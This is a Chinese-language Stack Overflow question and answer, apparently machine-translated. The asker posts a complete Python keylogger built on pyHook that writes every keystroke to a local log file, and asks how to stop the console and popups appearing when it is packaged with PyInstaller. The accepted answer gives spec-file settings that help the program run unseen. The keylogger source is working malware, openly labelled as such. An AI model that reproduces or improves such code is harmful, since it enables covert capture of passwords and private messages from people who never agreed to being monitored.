python - 使用 Pyinstaller 和 -noconsole 会弹出弹出窗口

标签 python console popup exe pyinstaller

我有 python 文件,用 .pyw 保存以抑制控制台

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后我用 pyinstaller 转换为 .exe,

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw

但是当我双击 .exe 时,我得到控制台

enter image description here

我尝试了 --noconsole 选项,即

c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw

但是当我双击 .exe 时,我收到一系列烦人的弹出窗口,我必须使用任务管理器终止它们。

如何解决?

enter image description here

最佳答案

请创建一个 .spec 文件,然后将其添加到 EXE 部分

debug=False

PyInstaller 手册解释了规范文件 here 。然后使用spec文件而不是脚本文件调用pyinstaller。

关于python - 使用 Pyinstaller 和 -noconsole 会弹出弹出窗口,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38213339/

相关文章:

python - 如何使用 Flask Request 将 GET 参数传递给 url

docker - docker websphere无法获取管理控制台

javascript - 从 AWS S3 存储桶上的 html 文件弹出窗口 postMessage()

html - 通过单击按钮打开弹出窗口

python - Pandas:如何检查索引中的任何行是否满足条件

python - 构建查询优化

python - 错误 "Microsoft Visual C++ 14.0 is required (Unable to find vcvarsall.bat)"

c# - 如何将字符串输入从 C# 传递到控制台?

eclipse - 在Eclipse控制台中为Google C++测试框架中的输出文本着色文本

c# - 如果点击其他任何地方,Windows Phone 关闭弹出窗口